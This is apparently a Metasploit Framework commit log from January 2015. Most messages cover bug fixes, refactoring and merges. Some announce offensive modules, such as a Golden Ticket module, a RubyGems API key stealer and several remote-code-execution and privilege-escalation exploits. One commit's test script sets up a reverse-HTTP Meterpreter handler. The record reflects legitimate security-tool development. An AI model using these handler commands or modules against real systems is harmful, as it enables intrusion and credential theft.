Meatballs d4707b8e07 Spellingz 2015-01-30 11:20:03 +00:00
Meatballs 9670608380 Reformat, remove unnecessary guard statement 2015-01-30 11:20:02 +00:00
Meatballs 0e976041b7 Small description fix 2015-01-30 11:20:02 +00:00
Meatballs 14f6ef13f4 Remove hardcoded domain 2015-01-30 11:20:02 +00:00
Meatballs 79a3a48348 Correct description 2015-01-30 11:20:02 +00:00
Meatballs e492f56ac0 Error if no database 2015-01-30 11:20:02 +00:00
Meatballs e6dbc15f40 Line length modification 2015-01-30 11:20:02 +00:00
Meatballs 044e3bd608 Golden Ticketz Post module 2015-01-30 11:20:02 +00:00
William Vu aec0067d14 Land #4673, screenshot -v hardcoded false fix 2015-01-29 19:40:15 -06:00
William Vu 8f54e4d611 Implement "-" for msfconsole -r from stdin
More predictable than /dev/stdin, which is usually a symlink to
/proc/self/fd/0 or /dev/fd/0, but the feature is not guaranteed to be
present.

This isn't *terribly* useful, but it can be. -x is recommended, but it
doesn't allow for ERB directives. This is mostly for hax.
2015-01-29 19:26:56 -06:00
Guillaume Delacour 42ef5716e8 Don't test ra flag to get upward referrals/additional RRs 2015-01-30 02:20:24 +01:00
sinn3r 59eec8f81e Land #4666 - Improve utility of meterpreter file upload command
Fix #4665
2015-01-29 19:12:31 -06:00
sinn3r 823c75908d Fix #4672 - Fix Hardcoded false for screenshot -v
Fix #4672
2015-01-29 16:54:41 -06:00
Julian Vilas 1a11ae4021 Add new references about Struts 1 2015-01-29 23:27:52 +01:00
Balazs Bucsay 64ab11c6ba Add Achat Beta v0.150 RCE for Win7/XPSP3 2015-01-29 23:20:31 +01:00
Julian Vilas 4cc5844baf Add Struts 1 support 2015-01-29 23:12:34 +01:00
Guillaume Delacour 2c05b1ee50 Use QUERYTYPE instead of hardcode ANY type 2015-01-29 22:54:06 +01:00
William Vu 7c793f9bbf Land #4663, greppable msfvenom -l
And --payload-options.
2015-01-29 14:27:46 -06:00
sinn3r 4ad4765350 Merge pull request #25 from wvu-r7/pr/4663
Change "Options for" line to stderr
2015-01-29 14:00:23 -06:00
Brent Cook 212aeb9106 Improve utility of meterpreter file upload command
Rather than assume that the destination argument is a directory, check
first, and then do the same thing that 'cp' would do.

 - If dest exists and is a directory, copy to the directory.
 - If dest exists and is a file, copy over the file.
 - If dest does not exist and is a directory, fail.
 - If dest does not exist and is a file, create the file.
2015-01-29 13:45:15 -06:00
William Vu 6fdd2abc8d Change "Options for" line to stderr 2015-01-29 13:38:29 -06:00
William Vu 6ecb36df52 Land #4653, get/set/unset description improvement 2015-01-29 13:28:06 -06:00
Jay Smith 6c529f8f6b Addressed feedback from @OJ and @zeroSteiner 2015-01-29 11:57:03 -05:00
Nanomebia 79b95aa6dd Merge pull request #1 from nanomebia/master
Fixing Indentation
2015-01-29 13:07:03 +08:00
Nanomebia d04fd3b978 Fixing Indentation
Small indentation fix
2015-01-29 13:03:19 +08:00
sinn3r b1b59dac7c Almost forgot this one again 2015-01-28 19:43:56 -06:00
sinn3r f6238f1ffb Auto-trim descriptions 2015-01-28 19:42:06 -06:00
sinn3r ae0214517a Fix #4662 - Change stderr to stdout so people can grep
Fix #4662
2015-01-28 18:23:36 -06:00
sinn3r 9d8d17805d Land #4661 - Replace direct class comparison with kind_of? 2015-01-28 18:06:43 -06:00
Jay Smith 064ca2d02e Updated version checking 2015-01-28 18:25:30 -05:00
James Lee bb17d75425 Replace direct class comparison with kind_of? 2015-01-28 17:00:15 -06:00
Brent Cook 89a0a79377 revert puts back to a vprint call 2015-01-28 16:41:12 -06:00
Samuel Huckins e5b62e251b Using latest MDM and credential gems
* Had to revert changes related to service uniqueness validation
(MSP-11643) due to newly discovered regressions
2015-01-28 16:18:11 -06:00
Samuel Huckins 8c55b660fc Using latest MDM and credential gems
* Had to revert changes related to service uniqueness validation
(MSP-11643) due to newly discovered regressions
2015-01-28 16:14:48 -06:00
sinn3r 53af758a03 Land #4660 - Add a check() for mssql_payload 2015-01-28 15:47:33 -06:00
sinn3r 0f88d0ad75 Change print_* to vprint_*
According to our wiki doc, all print_* should be vprint_* for check()
2015-01-28 15:44:14 -06:00
sinn3r cc7be4a9c1 Land #4643 - Fix blank username bug in creds -u
Fix #4634
2015-01-28 15:31:54 -06:00
Pedro Ribeiro a806cb401a Create manageengine_dir_listing.rb 2015-01-28 19:44:48 +00:00
James Lee 51764eb207 Add a check() for mssql_payload 2015-01-28 13:44:16 -06:00
Pedro Ribeiro 62ac536b7d Create manageengine_file_download.rb 2015-01-28 19:42:17 +00:00
Pedro Ribeiro 299a39a67f Merge pull request #13 from rapid7/master
a
2015-01-28 19:40:55 +00:00
sinn3r f0742a38e2 The get command too 2015-01-28 12:59:51 -06:00
Jay Smith 37c08128dc Add in MS14-070 Priv Escalation for Windows 2003 2015-01-28 13:24:39 -05:00
Nanomebia af90c6482b Sanity Changes
Reverted failure behaviour on line 70
Removed a space that prevented line 98 from working as intended
2015-01-28 18:40:43 +08:00
Nanomebia 27c412341f Syntax Changes
Cleaned up this statement a tiny bit
2015-01-28 18:34:19 +08:00
Nanomebia fc3094ec9b Syntax changes
Fixed some more syntax - failures
2015-01-28 18:30:21 +08:00
Nanomebia 321eb452c5 Syntax Fixes
Fixed some or's to || - and's to &&.
Fixed failure if statement (fails using fail_with())
Fixed nested else (now and elsif)
Changed final execute logic - checks for success rather than failure.
2015-01-28 18:08:15 +08:00
Nanomebia fefc3d088c Cookie fix and success display
Added handling for if the server doesn't correctly assign a cookie using
Set-Cookie by changing the regex and doing an additional check.  Also
fixed the success display -  changed the if statement to match others in
this module and fixed the text output based on server response.
2015-01-28 17:11:05 +08:00
jvazquez-r7 5475cf50aa Land #4655, @wchen-r7's custom 404 for BrowserExploitServer 2015-01-27 23:03:08 -06:00
sinn3r 457598eb02 print_error about unknown request.uri 2015-01-27 20:21:18 -06:00
sinn3r acf02647fb Add a check for Custom404 2015-01-27 20:18:10 -06:00
sinn3r 66703bfe5a Allow custom 404 as an option for BrowserExploitServer
When something fails, the target is given a hardcoded 404 message
generated by the framework. But the user (attacker) now can configure
this. When the Custom404 option is set, the mixin will actually
redirect (302) to that URL.

There are several scenarios that can trigger a 404 by BES (custom or
default):

* When the browser doesn't allow javascript
* When the browser directly visits the exploit URL, which is forbidden.
  If this actually happens, it probably means the attacker gave the
  wrong URL.
* The attacker doesn't allow the browser auto-recovery to retry the
  URL.
* If some browser requirements aren't met.
* The browser attempts to go to access a resource not set up by the
  mixin.
2015-01-27 18:53:02 -06:00
Meatballs 81fa509b50 Only clean up handles if process started 2015-01-27 21:11:12 +00:00
Meatballs c2d15f2b31 Add yarddoc note about handles 2015-01-27 21:05:00 +00:00
Meatballs c7534446aa Add yarddocs to runas mixin 2015-01-27 20:35:55 +00:00
James Lee 895284cd12 Fix logic around empty usernames or passwords
See #4634 and #4642
2015-01-27 14:16:26 -06:00
James Lee 9f4daa4e03 Add a couple more specs 2015-01-27 14:09:00 -06:00
sinn3r 68fec0fee5 Update output for set/unset 2015-01-27 13:58:54 -06:00
jvazquez-r7 465b4a5c1b Land #4652, @wchen-r7's ms13-037 svg exploit update to use BES 2015-01-27 13:47:35 -06:00
sinn3r d29a74cd8f Fix #4641 - Explain the set/unset command a little bit better
Sometimes we forget the set command is context specific. For example,
if run from a module's context, it will set the value in the module's
datastore.

Fix #4641
2015-01-27 13:35:05 -06:00
Brent Cook f2edf21b9d fix MSF::Post::File::rename_file with meterpreter
Modify rename_file to fit the pattern of the other file methods.
Otherwise, calling this yields a backtrace in the logs and it fails.

Steps to verify:
rc script:
```
loadpath test/modules
use exploit/multi/handler
set lhost 172.28.128.1
set lport 8081
set payload windows/meterpreter/reverse_http
run -j
sleep 5
resource test/scripts/test-sessions.rc

Before:
```
[-] FAILED: should move files
[-] Exception: TypeError : true is not a symbol

log file:
[01/27/2015 13:17:23] [d(0)] core: Call stack:
/home/bcook/projects/metasploit-framework/lib/msf/core/post/file.rb:357:in
`rename_file'
/home/bcook/projects/metasploit-framework/test/modules/post/test/file.rb:115:in
`block in test_file'
/home/bcook/projects/metasploit-framework/test/lib/module_test.rb:26:in
`call'
/home/bcook/projects/metasploit-framework/test/lib/module_test.rb:26:in
`it'
...
```

After, passing sessions instead:
```
post/test/file
SESSION => 1
Setup: changing working directory to %TEMP%
[*] Running against session 1
[*] Session type is meterpreter and platform is x86/win32
[+] should test for file existence
[+] should test for directory existence
[+] should create text files
[+] should read the text we just wrote
[+] should append text files
[+] should delete text files
[+] should move files
[+] should write binary data
[+] should read the binary data we just wrote
[+] should delete binary files
[+] should append binary data
[*] Passed: 11; Failed: 0
```
2015-01-27 13:19:33 -06:00
sinn3r ffd1257bff Make sure this branch is up to date. 2015-01-27 12:16:15 -06:00
sinn3r bb9c961847 Change description a bit 2015-01-27 12:14:55 -06:00
William Vu b030327965 Land #4647, get_module_resource NilClass fix 2015-01-27 12:07:08 -06:00
sinn3r 2dedaee9ca Working version after the upgrade 2015-01-27 12:02:36 -06:00
Brent Cook 8b3a0a0bb1 really fix the cmdweb test
this test to include the CmdStager module, not the CmdStagerVbs class

Before:
```
msf > loadpath test/modules
Loaded 32 modules:
    8 posts
    12 auxiliarys
    12 exploits
```

After:
```
msf > loadpath test/modules
Loaded 33 modules:
    8 posts
    12 auxiliarys
    13 exploits
msf > use exploit/test/cmdweb
msf exploit(cmdweb) > info

       Name: Command Stager Web Test
     Module: exploit/test/cmdweb
   Platform: Windows
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2010-02-03

Provided by:
  bannedit <bannedit@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Automatic Targeting

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOST                     yes       The target address
  RPORT    8080             yes       The target port
  VHOST                     no        HTTP server virtual host

Payload information:

Description:
  This module tests the command stager mixin against a shell.jsp
  application installed on an Apache Tomcat server.

msf exploit(cmdweb) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(cmdweb) > run

[*] Started reverse handler on 127.0.0.1:4444
[*] Command Stager progress -   2.01% done (2046/101881 bytes)
[*] Command Stager progress -   4.02% done (4092/101881 bytes)
[*] Command Stager progress -   6.02% done (6138/101881 bytes)
[*] Command Stager progress -   8.03% done (8184/101881 bytes)
[*] Command Stager progress -  10.04% done (10230/101881 bytes)
[*] Command Stager progress -  12.05% done (12276/101881 bytes)
[*] Command Stager progress -  14.06% done (14322/101881 bytes)
[*] Command Stager progress -  16.07% done (16368/101881 bytes)
[*] Command Stager progress -  18.07% done (18414/101881 bytes)
...
```
2015-01-27 11:44:34 -06:00
Meatballs 02da5b5c1b Remove unnecessary get_env call 2015-01-27 17:27:56 +00:00
Meatballs c9ca85fba8 Bail out as SYSTEM 2015-01-27 17:23:57 +00:00
William Vu ae22cf1b47 Land #4650, #strip NilClass fix 2015-01-27 11:13:33 -06:00
William Vu 7d7139d769 Consistent-ize whitespace 2015-01-27 11:11:02 -06:00
Meatballs b367b01998 Remove unneccessary logonuser 2015-01-27 17:07:49 +00:00
Tod Beardsley d8200c65a8 Strip safely, avoid nil.strip errors 2015-01-27 11:06:55 -06:00
William Vu 5b3d877b25 Land #4648, for real 2015-01-27 11:00:22 -06:00
William Vu 2b706f222a Land #4648, YAML parsing fix
Prefer regex. For reasons...
2015-01-27 10:59:05 -06:00
William Vu a88a631b66 Fix #strip 2015-01-27 10:58:24 -06:00
Tod Beardsley d2bf1a73ff Don't need to require YAML anymore either 2015-01-27 10:40:57 -06:00
William Vu bf39a7a933 Land #4648, YAML parsing fix
Prefer regex. For reasons...
2015-01-27 10:39:03 -06:00
Tod Beardsley cafbd1af51 Prefer a regex over YAML parsing
Fixes a bug introduced in #4645
2015-01-27 10:34:56 -06:00
Meatballs 3d0dc1a19d Rubocop 2015-01-27 16:34:52 +00:00
Meatballs b7e9c69f72 Fix x64 injection 2015-01-27 16:34:06 +00:00
Meatballs 215a590940 Refactor and fixes for post module 2015-01-27 16:14:59 +00:00
Brent Cook 550e6efff8 improve resiliency of meterpreter session tests
- Use separate names for files and directories to avoid cascading
   failures if one test fails and leaves a file or directory behind.
 - Use %TEMP% rather than %TMP - the former is defined on all Windows
   versions, whereas the later is not defined on Windows 2012, causing
   the test to fail.
 - Don't assume 'HACKING' is in the current working directory, which
   breaks remote test harnesses. Instead, send the source code to the
   current __FILE__ as the test file to upload, since that works from
   any directory or remotely.
2015-01-27 09:07:21 -06:00
James Lee a2c7ebc2b1 Simplify logic 2015-01-27 09:05:11 -06:00
James Lee 5985f37fe8 Only need one origin 2015-01-27 09:02:30 -06:00
James Lee ca44ae2109 Consistent commas 2015-01-27 08:41:24 -06:00
James Lee eac7b11a87 Merge remote-tracking branch 'upstream/master' into bug/4634/blank-username
Conflicts:
	lib/msf/ui/console/command_dispatcher/db.rb
	spec/lib/msf/ui/console/command_dispatcher/db_spec.rb
2015-01-27 08:40:07 -06:00
James Lee aea26e1e21 Add negative spec 2015-01-27 08:14:48 -06:00
Meatballs 12542eb938 Working 2015-01-27 14:10:35 +00:00
Meatballs ea25869312 Refactor to common module 2015-01-27 10:47:02 +00:00
sinn3r ee922d141c Fix #4646 - get_module_resource should check nil before using get_resource
Fix #4646. The get_module_resource needs to check nil first before
using the get_resource method (from HttpServer)
2015-01-27 00:21:43 -06:00
sinn3r 9e3388df34 Use BES for MS13-037 and default to ntdll 2015-01-27 00:18:36 -06:00
William Vu 515b125192 Land #4645, for real
Conflicts:
	modules/post/multi/gather/rubygems_api_key.rb
2015-01-26 23:46:04 -06:00
William Vu fd4812fbab Land #4645, @claudijd's RubyGems API key stealer
Dedicating this merge to @todb-r7. :-)
2015-01-26 23:29:36 -06:00
William Vu d53f4e1178 Fix bugs and make final changes 2015-01-26 23:29:10 -06:00
Jonathan Claudius f0bcf27110 Missing ? 2015-01-27 00:15:43 -05:00
Jonathan Claudius a3cf524162 Remove copy pasta 2015-01-27 00:13:51 -05:00
Jonathan Claudius 2bb9314b4b Switch to unless conditional 2015-01-27 00:10:33 -05:00
sinn3r 7b4fd2f618 Land #4642, Allow 'creds -u "" ' to return blank usernames 2015-01-26 23:01:03 -06:00
Jonathan Claudius 1f9286da69 Undo logic reversage 2015-01-26 23:54:41 -05:00
Jonathan Claudius a9e480e44a Fixed tilde 2015-01-26 23:53:08 -05:00
Jonathan Claudius eed9fbe024 Lose assignment in conditional 2015-01-26 23:48:08 -05:00
Jonathan Claudius c496d2c987 Remove nil check 2015-01-26 23:43:31 -05:00
Jonathan Claudius c29b7488b2 Fix double new line 2015-01-26 23:40:19 -05:00
Jonathan Claudius d77f112e82 Minor Formatting 2015-01-26 23:31:36 -05:00
Jonathan Claudius 06485d8c89 Fix naming of things 2015-01-26 23:17:44 -05:00
Jonathan Claudius 685c4804e5 Add trailing return 2015-01-26 23:15:00 -05:00
Jonathan Claudius 6b6e47a237 Fix sessiontypes, again 2015-01-26 23:13:17 -05:00
Jonathan Claudius 747349a57a Fix sessiontypes 2015-01-26 23:11:48 -05:00
Jonathan Claudius ee7ecb349d Fix description 2015-01-26 23:10:08 -05:00
Jonathan Claudius 106170eddc Add multi to name 2015-01-26 23:08:43 -05:00
Jonathan Claudius a3c7cf70f8 Make MSF Tidy more happy 2015-01-26 22:30:26 -05:00
Jonathan Claudius d37b3cf0c3 Use next instead of return 2015-01-26 22:26:56 -05:00
Jonathan Claudius f58dc2789f Remove creds 2015-01-26 22:13:15 -05:00
Jonathan Claudius a27c376ae7 Add service port and host 2015-01-26 22:06:07 -05:00
Jonathan Claudius dd34b58e49 Add add loot 2015-01-26 22:01:38 -05:00
Jonathan Claudius 3889ed5784 Add cred login 2015-01-26 21:50:10 -05:00
James Lee 964d37dbc5 Add a simple spec for -u
Need lots more
2015-01-26 20:37:17 -06:00
James Lee f2e0bd364a Always include Service and Host
See #4643
2015-01-26 20:22:11 -06:00
James Lee 8dd56bb759 Do all the filtering in SQL instead of Ruby
This also has the advantage of reducing the number of queries from at
least 3 for every Core we find to more like a total of 3.
2015-01-26 20:21:55 -06:00
Jonathan Claudius eead063375 Add RubyGems API Post Gather Module 2015-01-26 20:53:39 -05:00
sinn3r fd954b550a Drop psuedo-legalese, just give practical warning 2015-01-26 18:58:35 -06:00
Tod Beardsley 63c3832d7d Also test for nonmatching passwords 2015-01-26 17:02:58 -06:00
Tod Beardsley 1410477fe9 Use the blank password/username variables 2015-01-26 17:00:45 -06:00
Tod Beardsley 2294ea0e93 Squash commit for blank creds search and test
This should fix up #4642 with respect to #4504.

Squashed commit of the following:

commit 124d53ccb00cd200bede092e893dda7e033d3e17
Merge: cb2bef8 ccad159
Author: Tod Beardsley <tod_beardsley@rapid7.com>
Date:   Mon Jan 26 16:23:03 2015 -0600

    Merge branch 'feature/creds-blank-finders' into temp

commit ccad159222eaa949d76e22b588d1ac7709fb2f27
Author: Tod Beardsley <tod_beardsley@rapid7.com>
Date:   Mon Jan 26 15:58:02 2015 -0600

    Clean out whitespace, make vars more meaningful

commit 266b45dff26e2778e43d8e4750d212b5aee5a009
Author: Tod Beardsley <tod_beardsley@rapid7.com>
Date:   Mon Jan 26 15:54:32 2015 -0600

    Add some specs for regular users and blank users

commit 2e51503f76e9a2f6921c57e86a2f98527f80c874
Author: Tod Beardsley <tod_beardsley@rapid7.com>
Date:   Mon Jan 26 15:04:03 2015 -0600

    Users should be able to find blank user/pass
2015-01-26 16:26:30 -06:00
Jon Hart cb2bef878b Land #4504, @disenchant's get/getg improvement 2015-01-26 12:49:34 -08:00
Tod Beardsley 6269974bab Drop psuedo-legalese, just give practical warning 2015-01-26 13:15:23 -06:00
Tod Beardsley 2ba0f8264e Land #4632, reverting #4473, too noisy errors
Fixes #4630 as well.

See also #4122 and #4552.
2015-01-26 13:05:19 -06:00
William Vu 776af2b96a Land #4640, for real 2015-01-26 12:07:12 -06:00
William Vu 1e728ca00f Land #4640, @todb-r7's module cleanup 2015-01-26 12:06:17 -06:00
William Vu 46210a4963 Fix punctuation 2015-01-26 12:05:54 -06:00
Tod Beardsley bae19405a7 Various grammar, spelling, word choice fixes 2015-01-26 11:00:07 -06:00
Meatballs 93537765d0 Add TODO 2015-01-26 15:59:22 +00:00
Meatballs 5ae65a723f Initial 2015-01-26 15:57:52 +00:00
Christian Mehlmauer bb07ec8666 fix incorrect usage of .class 2015-01-26 15:46:58 +01:00
William Vu 8ad80f1e3f Land #4637, deprecated module cleanup 2015-01-26 01:32:48 -06:00
sinn3r d7375e84ea Move modules/post/windows/escalate/net_runtime_modify.rb
This module was scheduled to be removed on 01/08/2015.
Please use exploit/windows/local/service_permissions instead.
2015-01-26 00:29:43 -06:00
sinn3r f5916eba6d Move modules/exploits/windows/misc/psh_web_delivery.rb
This module was scheduled to be removed on 10/23/2014.
Please use exploit/multi/script/web_delivery instead.
2015-01-26 00:28:40 -06:00
sinn3r bbcc2eb07d Move modules/exploits/windows/misc/pxecploit.rb
This module was scheduled to be removed on 10/31/2014.
Please use exploits/windows/local/pxeexploit instead.
2015-01-26 00:25:02 -06:00
Meatballs1 6b0de8cbf0 Merge pull request #57 from dmaloney-r7/feature/metaballs1/enum_ad_users
Feature/metaballs1/enum ad users
2015-01-25 11:08:44 +00:00
sgabe dbe5dd77e3 Enforce update to real versions 2015-01-25 10:53:14 +01:00
Gabor Seljan 2680e76e26 Remove wrong references 2015-01-25 00:17:30 +01:00
jvazquez-r7 b4419afc64 Land #3019, @aczire's module for Huawei info disclosure
* Module for CVE-2013-6031
2015-01-24 10:16:35 -06:00
jvazquez-r7 c6901caf39 Change module location 2015-01-24 10:14:46 -06:00
sinn3r c62beacd31 Revert #4473 - Log backtraces by default 2015-01-24 02:44:29 -06:00
aczire 6ec3e6545e Merge pull request #1 from jvazquez-r7/rebase_3019
Clean Huawei SOHO router information disclosure
2015-01-24 10:44:28 +05:30
sinn3r 6c2e8a16ce Change warning 2015-01-23 22:50:39 -06:00
sinn3r 2d9b1dbc22 Fix typos 2015-01-23 22:31:37 -06:00
sinn3r ff0af805e3 Add a warning before use 2015-01-23 22:26:41 -06:00
jvazquez-r7 23c9d4f0fb Do final cleanup 2015-01-23 17:54:58 -06:00
jvazquez-r7 05e803f85b Rewrite get_wifi_info 2015-01-23 17:50:52 -06:00
jvazquez-r7 fe61b274bd Rewrite get_router_ssid 2015-01-23 17:38:55 -06:00
jvazquez-r7 abe9c85ad6 Rewrite get_router_dhcp_info 2015-01-23 17:37:20 -06:00
jvazquez-r7 70b6f94f14 Rewrite get_router_wan_info 2015-01-23 17:32:20 -06:00
jvazquez-r7 aeed72f726 Rewrite get_router_info 2015-01-23 17:29:12 -06:00
jvazquez-r7 26b17d5556 Clean get_router_mac_filter_info 2015-01-23 17:18:07 -06:00
jvazquez-r7 a63625ab51 Refactor response parsing 2015-01-23 17:09:01 -06:00
Spencer McIntyre 32746e0088 Land #4631, @bcook-r7's fix for #4625 pkt requeue logic 2015-01-23 18:02:21 -05:00
jvazquez-r7 c9a13bda2f Do a first easy clean up 2015-01-23 16:37:55 -06:00
jvazquez-r7 dcf0d7f596 Make msftidy happy 2015-01-23 16:23:21 -06:00
jvazquez-r7 f83b87f611 Rebase #3019 2015-01-23 16:14:01 -06:00
Brent Cook fc016fe2ec Land #4629, @wchen-r7's proper fixes for #4616 and #3798 2015-01-23 14:29:14 -06:00
Brent Cook 52ca6b54b1 remove entire 'default' attribute acccessor override method
This reverts us to the state before
725a17c70b, making OptRegexp simply
inherit from OptBase again.
2015-01-23 14:18:05 -06:00
Brent Cook 65d71a5e18 Fix #4625 Reenable channel receive packet requeueing logic
In #4475, I incorrectly interpreted the role of the 'incomplete' array
in monitor_socket, and that change should be reverted.

What appears to happen is, we play a kind of 3-card monty with the list
of received packets that are waiting for a handler to use them.
monitor_socket continually loops between putting the packets on @pqueue,
then into backlog[] to sort them, then into incomplete[] to list all of
the packets that did not have handlers, finally back into @pqueue again.
If packets don't continually get shuffled back into incomplete, they are
not copied back into @pqueue to get rescanned again.

The only reason anything should really get into incomplete[] is if we
receive a packet, but there is nothing to handle it. This scenario
sounds like a bug, but it is exactly what happens with the Tcp Client
channel - one can open a new channel, and receive a response packet back
from the channel before the subsequent read_once code runs to register a
handler to actually process it. This would be akin to your OS
speculatively accepting data on a TCP socket with no listener, then when
you open the socket for the first time, its already there.

While it would be nice if the handlers were setup before the data was
sent back, rather than relying on a handler being registered some time
between connect and PacketTimeout, this needs to get in now to stop the
bleeding. The original meterpreter crash issue from #4475 appears to be
gone as well.
2015-01-23 08:50:37 -06:00
sinn3r f3a2d6663f Fix #4616 and Fix #3798 - Correctly use OptRegexp
This patch fixes a problem with OptRegexp. The OptRegexp class is
always forcing the value to be converted to a string first, which
causes the EXCLUDE option in browser_autopwn to kick in and match
every found autopwn module, so it ignores all of them and you load
nothing (#4616).

It is important to understand that nil actually represents an option
not being set, which is a completely different behavior than having
an empty value (technically "" is still a value, and if there's a
value, it means the option is set). We need to watcher for these
scenarios.

I am restoring the #default method to avoid forcing a to_s, which should
fix the browser autopwn loading problem. And then I changed scraper.rb's
default value for datastore option PATTERN to a string, because still
fixes #3798. The way I see it, #3798 is actually a module-specific issue.

Fix #4616
Fix #3798
2015-01-23 02:38:26 -06:00
Hans-Martin Münch (h0ng10) 419fa93897 Add OSVDB and WPScan references 2015-01-23 09:27:42 +01:00
Hans-Martin Münch (h0ng10) dfbbc79e0d make retries a datastore option 2015-01-23 09:23:09 +01:00
Hans-Martin Münch (h0ng10) 11bf58e548 Use metasploit methods 2015-01-23 08:48:52 +01:00
jvazquez-r7 c507e73a02 Comment to clarify serialVersionUID fields 2015-01-22 18:40:52 -06:00
jvazquez-r7 e377ed3f83 Document the 'null' UnicastRef ObjId on the discovery package 2015-01-22 18:39:12 -06:00
jvazquez-r7 4c81cac004 Merge jboss_invoker converstion to use Rex::Java::Serialization 2015-01-22 18:22:42 -06:00
jvazquez-r7 d8aa282482 Delete some double quotes 2015-01-22 18:21:25 -06:00
jvazquez-r7 4c72b096b6 Switch variable from file_name to operation 2015-01-22 18:20:11 -06:00
jvazquez-r7 b003d8f750 Do final cleanup 2015-01-22 18:17:14 -06:00
jvazquez-r7 911485f536 Use easier key name 2015-01-22 18:11:48 -06:00
jvazquez-r7 f9dccda75d Delete unused files 2015-01-22 18:00:31 -06:00
jvazquez-r7 eff49b5fd3 Delete files with Rex::Java::Serialization 2015-01-22 17:59:43 -06:00
jvazquez-r7 37bf66b994 Install instaget with Rex::Java::Serialization 2015-01-22 16:54:49 -06:00
Samuel Huckins 01bcd72e1c Land #4546 2015-01-22 16:45:01 -06:00
jvazquez-r7 20d7fe631e Auto detect platform without raw streams 2015-01-22 15:15:08 -06:00
jvazquez-r7 ad276f0d52 Retrieve version with Rex::Java::Serialization instead of binary streams 2015-01-22 14:52:19 -06:00
jvazquez-r7 720def9d0a Update java_deserializer specs 2015-01-22 14:50:48 -06:00
jvazquez-r7 5c413a8102 Add support to print objects, arrays and classes details 2015-01-22 14:50:12 -06:00
William Vu 349ea56a3b Land #4628, revert of #4593
Extraneous commas must die. Trailing commas are okay.

This check was too much.
2015-01-22 14:30:08 -06:00
Tod Beardsley 1d6524b4d9 Revert #4593, msftidy extraneous comma check
Fixes #4626 by ignoring the problem identified.

This reverts commit 7c3378b2e6, reversing
changes made to cb0257bec7.
2015-01-22 14:28:27 -06:00
William Vu 980a010e15 Land #4627, explicit rubygems require fix
And a couple extraneous comma fixes.
2015-01-22 13:49:31 -06:00
Tod Beardsley bd06b48b30 Extra commas. 2015-01-22 13:45:08 -06:00
Tod Beardsley 2e606cd097 Don't require rubygems 2015-01-22 13:44:58 -06:00
William Vu 75e04705d5 Land #4624, Firefox 33-35 os.js support 2015-01-22 13:35:47 -06:00
William Vu 0612e1906a Land #4614, {32,64}-bit Registry access 2015-01-22 13:25:51 -06:00
Jon Hart e46395f592 Land #4596, @pdeardorff-r7's memcached extractor 2015-01-22 08:00:19 -08:00
Jon Hart 1cdcd3ccfa Use a more consistent format in Rex table and loot for memcache 2015-01-22 07:59:48 -08:00
Jon Hart e7c21f3205 Land #4503, @m7x's post module for extracting McAfee VSE hashes 2015-01-21 20:44:41 -08:00
Jon Hart 9cc58a8d69 Lastly, rename the file so that it is specific to McAfee VSE 2015-01-21 20:44:34 -08:00
Jon Hart 683a541064 Tighten up prints to make it specific to VSE, not McAfee in general 2015-01-21 20:33:54 -08:00
Jon Hart 52be3d80b7 Minor ruby style cleanup 2015-01-21 20:27:38 -08:00
Jon Hart ceed293969 Remove unnecessary requires 2015-01-21 20:23:03 -08:00
jvazquez-r7 b61538e980 Land #4291, @headlesszeke's module for ARRIS VAP2500 command execution 2015-01-21 20:52:31 -06:00
jvazquez-r7 33195caff2 Mark compatible payloads 2015-01-21 20:52:04 -06:00
jvazquez-r7 500d7159f1 Use PAYLOAD instead of CMD 2015-01-21 20:49:05 -06:00
jvazquez-r7 f37ac39b4c Split exploit cmd vs exploit session 2015-01-21 20:46:37 -06:00
jvazquez-r7 e1d1ff17fd Change failure code 2015-01-21 20:38:33 -06:00
jvazquez-r7 169052af5c Use cookie option 2015-01-21 20:37:38 -06:00
Joe Vennix 5bfb88d55c Update os.js to detect newer firefox versions. 2015-01-21 16:12:17 -06:00
Jon Hart 65805d43d7 Land #4612, @wez3's suggestion to bump the Outlook gather time 2015-01-21 13:28:06 -08:00
Jon Hart f73052710d Correct recent msftidy change in outlook gather 2015-01-21 13:27:48 -08:00
Jon Hart 46a0ec8a68 Make timeout for Powershell scripts configurable 2015-01-21 13:24:43 -08:00
William Vu cf7555447c Land #4621, msftidy whitelist constant
Now I'm happy... almost.
2015-01-21 14:03:39 -06:00
William Vu bbe9fc208e Update formatting (80 columns)
Piped to fmt -78 to account for the indent.
2015-01-21 14:01:44 -06:00
Tod Beardsley 264adf14d1 Add 'tnftp' software to the title whitelist 2015-01-21 11:52:39 -06:00
Tod Beardsley efebaae251 Make the title whitelist a constant 2015-01-21 11:50:50 -06:00
William Vu a52f491d81 Land #4615, stopgap fix for module load race 2015-01-21 07:39:07 -06:00
jvazquez-r7 c33e5faed3 Change namespace 2015-01-21 01:00:45 -06:00
jvazquez-r7 f85890a249 Change specs filename 2015-01-21 00:58:32 -06:00
jvazquez-r7 81d0eca45b Fix Msf::Jmx::Handshake specs 2015-01-21 00:57:50 -06:00
jvazquez-r7 bdf9aabcf0 Merge support for JMX protocol 2015-01-21 00:38:04 -06:00
jvazquez-r7 7fad21eaf8 Refactor JMX code 2015-01-21 00:37:35 -06:00
jvazquez-r7 c866caac43 Randomize MLet name 2015-01-21 00:36:34 -06:00
HD Moore 2f4ad9716c Lands #4618, clarifies error message in msfvenom 2015-01-21 00:33:36 -06:00
William Vu 1dafedf23b Clarify no encoder/badchars specified 2015-01-21 00:26:42 -06:00
HD Moore d7cb1c5710 Lands #4617, fixes msfvenom output with no encoder. 2015-01-21 00:26:30 -06:00
jvazquez-r7 37ed1b1e62 Delete default values for datastore options 2015-01-21 00:14:46 -06:00
jvazquez-r7 a996efc807 Refactor exploit code 2015-01-21 00:07:00 -06:00
William Vu 4cc027c4c1 Move "found" message to a saner location
Thanks to Peleus for the idea.
2015-01-20 23:58:12 -06:00
jvazquez-r7 2de2e657f0 Refactor get_mbean_server 2015-01-20 23:44:33 -06:00
jvazquez-r7 d90f856c00 Delete sock_server variable 2015-01-20 20:51:20 -06:00
jvazquez-r7 b792c0a5bf Create exploit_mbean_server method 2015-01-20 20:44:10 -06:00
jvazquez-r7 2ef57d6172 Add specs for Msf::Jmx::MBean::ServerConnection 2015-01-20 19:10:21 -06:00
